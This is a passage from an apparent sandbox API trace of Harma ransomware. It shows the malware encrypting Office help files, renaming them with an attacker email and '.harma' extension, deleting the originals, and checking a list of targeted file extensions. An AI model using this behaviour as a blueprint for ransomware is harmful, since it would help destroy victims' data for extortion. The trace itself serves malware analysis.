lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.404] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.404] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x100, lpOverlapped=0x0) returned 1 [0157.404] SetEndOfFile (hFile=0x388) returned 1 [0157.404] CloseHandle (hObject=0x388) returned 1 [0157.404] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.404] SetEndOfFile (hFile=0x208) returned 1 [0157.407] CloseHandle (hObject=0x208) returned 1 [0157.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_f_col.hxk")) returned 1 [0157.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.408] lstrlenW (lpString=".doc") returned 4 [0157.408] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.408] lstrlenW (lpString=".docx") returned 5 [0157.408] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.408] lstrlenW (lpString=".pdf") returned 4 [0157.408] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.408] lstrlenW (lpString=".xls") returned 4 [0157.409] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.409] lstrlenW (lpString=".xlsx") returned 5 [0157.409] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.409] lstrlenW (lpString=".ppt") returned 4 [0157.409] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString=".zip") returned 4 [0157.409] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.409] lstrlenW (lpString=".rar") returned 4 [0157.409] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.409] lstrlenW (lpString=".bz2") returned 4 [0157.409] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.409] lstrlenW (lpString=".7z") returned 3 [0157.409] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString=".dbf") returned 4 [0157.409] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString=".1cd") returned 4 [0157.409] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString=".jpg") returned 4 [0157.409] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.409] lstrlenW (lpString=".doc") returned 4 [0157.409] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.409] lstrlenW (lpString=".docx") returned 5 [0157.409] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.409] lstrlenW (lpString=".pdf") returned 4 [0157.409] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.410] lstrlenW (lpString=".xls") returned 4 [0157.410] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.410] lstrlenW (lpString=".xlsx") returned 5 [0157.410] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.410] lstrlenW (lpString=".ppt") returned 4 [0157.410] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.410] lstrlenW (lpString=".zip") returned 4 [0157.410] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.410] lstrlenW (lpString=".rar") returned 4 [0157.410] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.410] lstrlenW (lpString=".bz2") returned 4 [0157.410] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.410] lstrlenW (lpString=".7z") returned 3 [0157.410] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.410] lstrlenW (lpString=".dbf") returned 4 [0157.410] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.410] lstrlenW (lpString=".1cd") returned 4 [0157.410] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_F_COL.HXK") returned 70 [0157.410] lstrlenW (lpString=".jpg") returned 4 [0157.410] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.410] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.410] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22 [0157.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.411] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0157.411] CloseHandle (hObject=0x208) returned 1 [0157.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 0x20 [0157.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.411] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.412] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.412] GetLastError () returned 0x0 [0157.412] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0157.414] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.415] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.415] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x100, lpOverlapped=0x0) returned 1 [0157.415] SetEndOfFile (hFile=0x388) returned 1 [0157.415] CloseHandle (hObject=0x388) returned 1 [0157.415] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.416] SetEndOfFile (hFile=0x208) returned 1 [0157.418] CloseHandle (hObject=0x208) returned 1 [0157.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev_k_col.hxk")) returned 1 [0157.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.419] lstrlenW (lpString=".doc") returned 4 [0157.419] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.419] lstrlenW (lpString=".docx") returned 5 [0157.419] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.419] lstrlenW (lpString=".pdf") returned 4 [0157.419] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.419] lstrlenW (lpString=".xls") returned 4 [0157.419] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.419] lstrlenW (lpString=".xlsx") returned 5 [0157.419] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.419] lstrlenW (lpString=".ppt") returned 4 [0157.419] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString=".zip") returned 4 [0157.420] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString=".rar") returned 4 [0157.420] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString=".bz2") returned 4 [0157.420] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.420] lstrlenW (lpString=".7z") returned 3 [0157.420] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString=".dbf") returned 4 [0157.420] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString=".1cd") returned 4 [0157.420] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString=".jpg") returned 4 [0157.420] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.420] lstrlenW (lpString=".doc") returned 4 [0157.420] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.420] lstrlenW (lpString=".docx") returned 5 [0157.420] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.420] lstrlenW (lpString=".pdf") returned 4 [0157.420] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString=".xls") returned 4 [0157.420] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString=".xlsx") returned 5 [0157.420] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.420] lstrlenW (lpString=".ppt") returned 4 [0157.420] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.421] lstrlenW (lpString=".zip") returned 4 [0157.421] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.421] lstrlenW (lpString=".rar") returned 4 [0157.421] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.421] lstrlenW (lpString=".bz2") returned 4 [0157.421] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.421] lstrlenW (lpString=".7z") returned 3 [0157.421] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.421] lstrlenW (lpString=".dbf") returned 4 [0157.421] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.421] lstrlenW (lpString=".1cd") returned 4 [0157.421] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV_K_COL.HXK") returned 70 [0157.421] lstrlenW (lpString=".jpg") returned 4 [0157.421] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.421] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.421] lstrlenW (lpString="MSACCESS.HXS") returned 12 [0157.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.422] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=3877906) returned 1 [0157.422] CloseHandle (hObject=0x208) returned 1 [0157.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0x20 [0157.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0157.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.422] lstrlenW (lpString=".doc") returned 4 [0157.422] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.422] lstrlenW (lpString=".docx") returned 5 [0157.422] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0157.422] lstrlenW (lpString=".pdf") returned 4 [0157.422] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.422] lstrlenW (lpString=".xls") returned 4 [0157.422] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString=".xlsx") returned 5 [0157.423] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0157.423] lstrlenW (lpString=".ppt") returned 4 [0157.423] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString=".zip") returned 4 [0157.423] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString=".rar") returned 4 [0157.423] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString=".bz2") returned 4 [0157.423] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.423] lstrlenW (lpString=".7z") returned 3 [0157.423] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString=".dbf") returned 4 [0157.423] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString=".1cd") returned 4 [0157.423] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString=".jpg") returned 4 [0157.423] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.423] lstrlenW (lpString=".doc") returned 4 [0157.423] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.423] lstrlenW (lpString=".docx") returned 5 [0157.423] lstrcmpiW (lpString1=".docx", lpString2="S.HXS") returned -1 [0157.423] lstrlenW (lpString=".pdf") returned 4 [0157.423] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.423] lstrlenW (lpString=".xls") returned 4 [0157.424] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.424] lstrlenW (lpString=".xlsx") returned 5 [0157.424] lstrcmpiW (lpString1=".xlsx", lpString2="S.HXS") returned -1 [0157.424] lstrlenW (lpString=".ppt") returned 4 [0157.424] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.424] lstrlenW (lpString=".zip") returned 4 [0157.424] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.424] lstrlenW (lpString=".rar") returned 4 [0157.424] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.424] lstrlenW (lpString=".bz2") returned 4 [0157.424] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.424] lstrlenW (lpString=".7z") returned 3 [0157.424] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.424] lstrlenW (lpString=".dbf") returned 4 [0157.424] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.424] lstrlenW (lpString=".1cd") returned 4 [0157.424] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS") returned 60 [0157.424] lstrlenW (lpString=".jpg") returned 4 [0157.424] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.424] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.424] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16 [0157.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.425] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=636) returned 1 [0157.425] CloseHandle (hObject=0x208) returned 1 [0157.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 0x20 [0157.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.425] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.425] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.426] GetLastError () returned 0x0 [0157.426] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x27c, lpOverlapped=0x0) returned 1 [0157.622] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x280, lpOverlapped=0x0) returned 1 [0157.623] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.623] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0157.623] SetEndOfFile (hFile=0x388) returned 1 [0157.623] CloseHandle (hObject=0x388) returned 1 [0157.623] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.623] SetEndOfFile (hFile=0x208) returned 1 [0157.625] CloseHandle (hObject=0x208) returned 1 [0157.625] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess_col.hxc")) returned 1 [0157.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.629] lstrlenW (lpString=".doc") returned 4 [0157.629] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.629] lstrlenW (lpString=".docx") returned 5 [0157.629] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.629] lstrlenW (lpString=".pdf") returned 4 [0157.629] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.629] lstrlenW (lpString=".xls") returned 4 [0157.629] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.629] lstrlenW (lpString=".xlsx") returned 5 [0157.629] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.629] lstrlenW (lpString=".ppt") returned 4 [0157.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.629] lstrlenW (lpString=".zip") returned 4 [0157.629] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.629] lstrlenW (lpString=".rar") returned 4 [0157.629] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.629] lstrlenW (lpString=".bz2") returned 4 [0157.629] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.629] lstrlenW (lpString=".7z") returned 3 [0157.629] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.629] lstrlenW (lpString=".dbf") returned 4 [0157.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS_COL.HXC") returned 64 [0157.630] lstrlenW (lpString=".1cd") returned 4 [0157.630] lstrcmpiW 